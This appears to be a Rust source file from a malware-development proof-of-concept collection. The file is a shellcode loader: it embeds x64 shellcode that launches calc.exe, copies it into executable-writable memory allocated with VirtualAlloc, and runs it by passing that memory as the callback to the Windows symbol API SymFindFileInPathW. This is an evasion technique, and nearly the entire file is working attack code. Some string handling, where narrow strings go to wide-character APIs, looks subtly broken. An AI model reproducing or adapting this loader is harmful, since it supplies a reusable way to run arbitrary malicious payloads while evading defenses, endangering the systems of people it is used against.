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Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
2026-06-06 14:53:10 +05:30

120 lines
4.6 KiB
Rust

extern crate winapi;
use std::ffi::CString;
use std::ptr::null_mut;
use std::ptr::copy_nonoverlapping;
use winapi::ctypes::{c_char, c_void};
use winapi::shared::guiddef::GUID;
use winapi::shared::minwindef::{BOOL, DWORD};
use winapi::um::dbghelp::{SymFindFileInPathW, SymInitializeW};
use winapi::um::memoryapi::VirtualAlloc;
use winapi::um::processthreadsapi::GetCurrentProcess;
use winapi::um::winnt::{HANDLE, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE_READWRITE};
#[link(name = "dbghelp")]
extern "system" {
fn SymSrvGetFileIndexInfo(
file: *const c_char,
info: *mut SYMSRV_INDEX_INFO,
flags: u32,
) -> BOOL;
}
pub unsafe fn sym_srv_get_file_index_info(
file: &str,
info: *mut SYMSRV_INDEX_INFO,
flags: u32,
) -> Result<(), &'static str> {
let file_cstring = CString::new(file).map_err(|_| "Failed to convert file path to CString")?;
let result = SymSrvGetFileIndexInfo(file_cstring.as_ptr(), info, flags);
if result == 0 {
Err("SymSrvGetFileIndexInfo failed")
} else {
Ok(())
}
}
fn main() {
unsafe {
let shellcode: [u8; 276] = [
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00,
];
let h_process: HANDLE = GetCurrentProcess();
let address = VirtualAlloc(
null_mut(),
shellcode.len(),
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE,
);
if address.is_null() {
panic!("VirtualAlloc failed");
}
copy_nonoverlapping(shellcode.as_ptr(), address as *mut u8, shellcode.len());
if SymInitializeW(h_process, null_mut(), 1) == 0 {
panic!("SymInitialize failed");
}
let mut finfo: SYMSRV_INDEX_INFO = std::mem::zeroed();
sym_srv_get_file_index_info("c:\\windows\\system32\\kernel32.dll", &mut finfo, 0)
.expect("SymSrvGetFileIndexInfo failed");
let mut dummy: [u8; 260] = [0; 260];
let system32_path = CString::new("c:\\windows\\system32").unwrap();
let kernel32_dll = CString::new("kernel32.dll").unwrap();
if SymFindFileInPathW(
h_process,
system32_path.as_ptr() as *const u16,
kernel32_dll.as_ptr() as *const u16,
&finfo.timestamp as *const _ as *mut c_void,
finfo.size,
0,
0 as u32,
dummy.as_mut_ptr() as *mut u16,
Some(std::mem::transmute(address)),
null_mut(),
) == 0
{
panic!("SymFindFileInPath failed");
}
}
}
#[repr(C)]
#[allow(non_camel_case_types)]
pub struct SYMSRV_INDEX_INFO {
pub sizeofstruct: DWORD,
pub file: [i8; 261],
pub stripped: BOOL,
pub timestamp: DWORD,
pub size: DWORD,
pub dbgfile: [i8; 261],
pub pdbfile: [i8; 261],
pub guid: GUID,
pub sig: DWORD,
pub age: DWORD,
}